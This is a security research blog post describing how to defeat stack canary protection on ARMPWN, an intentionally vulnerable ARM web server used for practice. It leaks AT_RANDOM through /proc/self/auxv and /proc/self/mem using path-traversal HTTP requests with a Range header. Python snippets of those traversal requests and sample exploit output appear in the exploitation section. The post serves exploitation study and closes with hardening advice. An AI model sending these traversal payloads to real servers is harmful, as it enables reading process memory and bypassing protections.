ARMPWN redux: canary reloaded


• Posted by hugsy on January 24, 2017
• linux • exploit • arm • ssp • armpwn

TL;DR: It is possible to defeat stack canary protection when a binary is vulnerable to arbitrary file read.

Intro

First of, Happy New Year 2017 ✌

Recently, I’ve decided to thoroughly investigate the “Stack Smashing Protection” (SSP) on recent Linux and recent Glibc. This research has led to a blog post available on elttam R&D blog. Among many other things, I’ve found that canaries built with recent glibc may have their values leaked, should the program be also vulnerable to an arbitrary file read access, and if it exposes its Auxiliary Vector via the procfs structure.

All the details regarding the following attack on the canary are explained in this blog post, so I will assume that you are familiar with it. If you’re not:

In the article, I imagined the attack scenario would apply perfectly well to a Web or FTP server, and would occur following those steps:

  1. dump /proc/self/auxv to get the AT_RANDOM location
  2. read /proc/self/mem and force an lseek access to reach the location found above via the HTTP header Range (for instance Range: bytes=<0xAT_RANDOM_LOCATION>-<0xAT_RANDOM_LOCATION+16>)
  3. Truncate the received buffer to sizeof(register)
  4. Nullify the last byte (result &= ~0xff)

That was the theory, which made perfect sense, but I wanted a practice case.

Earlier this year, I had some fun with ARMPWN, a vulnerable web server created by @5aelo to practice exploitation on ARM, so I have decided to use it for a practical, yet very realistic exploit case.

You can download:

Patch analysis

This cheap patch provides to the “new” websrv the (pseudo-)capability to parse the HTTP Range header provided by the client. This is basically how modern Web servers (Apache, nginx) treat this header.

unsigned long start, end;
char *ptr;
int r;

start = end = 0;
ptr = get_range_header(request, len);
if (ptr){
    if(get_ranges_from_header(ptr, &start, &end)==0){
        if (start && end){
            printf("%s:%d reading range of file '%s' from %u-%u\n", inet_ntoa(client.sin_addr), htons(client.sin_port), file, start, end);
            if (lseek(fileno(f), start, SEEK_SET)==-1){
                perror("lseek() failed:");
[...]

In the earlier exploit, we had exploited the Directory Traversal to dump the process memory mapping (via /proc/self/maps) and defeat PIE & ASLR. To crush SSP protection, we managed to get the canary value by brute-forcing it, which is very noisy (the canary can be found in max. of 4*256=1024 HTTP requests on a 32-bit architecture, 2048 on 64-bit) and risky (the memory corruption may alert of an on-going attack).

But now we can actually do much better: we have all the conditions mentioned earlier to exfiltrate the canary’s value, thanks to the ELF Auxiliary Vector.

Exploitation

This approach is a lot more stable and stealthier than canary brute-forcing, since we don’t rely on any memory corruption/process crash to determine the valid bytes of the canary as we did before.

Find AT_RANDOM from the Auxiliary Vector

So first, we need to read the process Auxiliary Vector exposed via procfs.

s.send("GET ../../../../../proc/self/auxv HTTP/1.0\r\n\r\n")

And then parse the result:

AT_RANDOM = 25
[...]
data = s.recv(1024)
for i in range(0, len(data), 8):
    code = struct.unpack("<I", data[i:i+4])[0]
    if code==AT_RANDOM:
        at_random_address = struct.unpack("<I", data[i+4:i+8])[0]
        break

If we did things correctly, this will store in the variable at_random_address the address of the 16 random bytes provided by the kernel, used to create the canary.

(l)seeking the process memory via the HTTP Range header

Since procfs also exposes the process memory, we can use /proc/<pid>/mem to seek to the address we’ve found at the step above.

m = "GET ../../../../../proc/self/mem HTTP/1.0\r\n"
m+= "Range: bytes={:d}-{:d}\r\n\r\n".format(at_random_address,at_random_address+16)
s.send(m)

Note: yama/ptrace_scope must be set to 0 to be able to read the process memory.

Fire!

The final exploitation script which combines all the steps described above can be found here.

$ python armpwn_leak_canary.py
[+] Connected to 'rpi2-1:80'
[+] Leaking AUVX
[+] AT_RANDOM=0xbe8409c5
[+] Forging HTTP request using Range
[+] Canary is 0xd998d300

To be we fetched the correct value for the canary of the remote process, we can use this script locally to compare the values for the canary:

Running the exploit

Conclusion

This exploitation shows a different way to leak the canary value, and therefore defeat the SSP protection. As you may have noticed, since this attack does not rely on memory corruption, it is extremely reliable. And it is also much faster: the canary brute-force can take up 4x256 (or resp. 8x256 for 64-bits) requests to determine, where this approach found the same value with only 2 requests.

This illustrates once again the need to maintain a system as hardened as possible, especially on production systems, since restricting ptrace, or refusing to expose AUXV like GrSec does, would defeat this attack.

Thanks for reading, and as usual drop me a line on IRC/Twitter/email for any question/comment ☕


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